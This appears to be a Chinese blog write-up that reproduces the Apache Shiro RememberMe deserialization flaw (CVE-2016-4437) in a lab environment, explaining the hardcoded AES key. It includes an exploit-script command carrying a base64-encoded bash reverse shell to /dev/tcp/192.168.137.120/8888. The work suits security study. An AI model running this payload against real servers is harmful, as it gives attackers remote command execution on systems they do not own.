Apache shiro反序列化(CVE-2016-4437)复现
一、原理分析
Shiro提供了記住我(RememberMe)的功能,比如訪問淘寶等網(wǎng)站時(shí),關(guān)閉了瀏覽器下次再打開時(shí)還是能夠記住上次訪問過的用戶,下次訪問時(shí)無需再登錄即可訪問
Shiro會(huì)對(duì)cookie中的Remember me字段進(jìn)行相關(guān)處理:序列化-->AES加密-->base64編碼
由于Shiro本身含有一個(gè)預(yù)設(shè)的AES密鑰Base64.decode("KPHblxk5D2deZilxcaaaA=="),每個(gè)人都能夠通過源代碼拿到該密鑰,因此攻擊者可以構(gòu)造一個(gè)惡意的對(duì)象,對(duì)其進(jìn)行序列化并用該密鑰進(jìn)行加密,base64編碼,最后作為cookie中的Remember me字段發(fā)送。Shiro得到該Remember me字段后進(jìn)行解碼解密并且反序列化,進(jìn)而導(dǎo)致任意命令執(zhí)行
影響版本:Apache Shiro <= 1.2.4
二、環(huán)境準(zhǔn)備
1、https://vulfocus.cn/平臺(tái)搜索:shiro-cve_2016_4437,啟動(dòng)環(huán)境
2、一臺(tái)公網(wǎng)服務(wù)器(沒有的可以自己找環(huán)境搭建一個(gè)本地的環(huán)境)
3、利用腳本及ysoserial.jar下載地址:https://github.com/insightglacier/Shiro_exploit,腳本中的所有sleep都把他注釋掉,不然可能會(huì)很慢。
三、漏洞復(fù)現(xiàn)
1、訪問環(huán)境
2、用默認(rèn)root賬號(hào)密碼登錄,記得勾選上Remember Me
3、可以先用腳本測試下是否存在漏洞,腳本中也列出了比較多的key,可以測試出是采用了哪個(gè)key
python3 shiro_exploit.py -u http://123.58.224.8:42716最終測試出,存在該漏洞,采用的key是 kPH+bIxk5D2deZiIxcaaaA==
又到了令人興奮的利用環(huán)節(jié)了
先啟動(dòng)監(jiān)聽
再打開一個(gè)新的shell窗口,執(zhí)行:
python3 shiro_exploit.py -t 3 -u http://123.58.224.8:30771/ -p "bash -c {echo,YmFzaCAt ************************************************JjE=}|{base64,-d}|{bash,-i}"其中-u后面跟的是目標(biāo)地址,-p后面是bash反彈shell的一種base64加密后的寫法,里面echo后面的那串base64字符就是bash -i >& /dev/tcp/192.168.137.120/8888 0>&1經(jīng)過base64加密后的
執(zhí)行后過會(huì)兒就可以看到shell反彈過來了
四、參考鏈接
1、https://blog.csdn.net/weixin_42019588/article/details/113395928
2、https://www.freebuf.com/vuls/284529.html
3、https://zhuanlan.zhihu.com/p/389768500
總結(jié)
以上是生活随笔為你收集整理的Apache shiro反序列化(CVE-2016-4437)复现的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 二分答案
- 下一篇: Mybatis 批量操作8种实现总结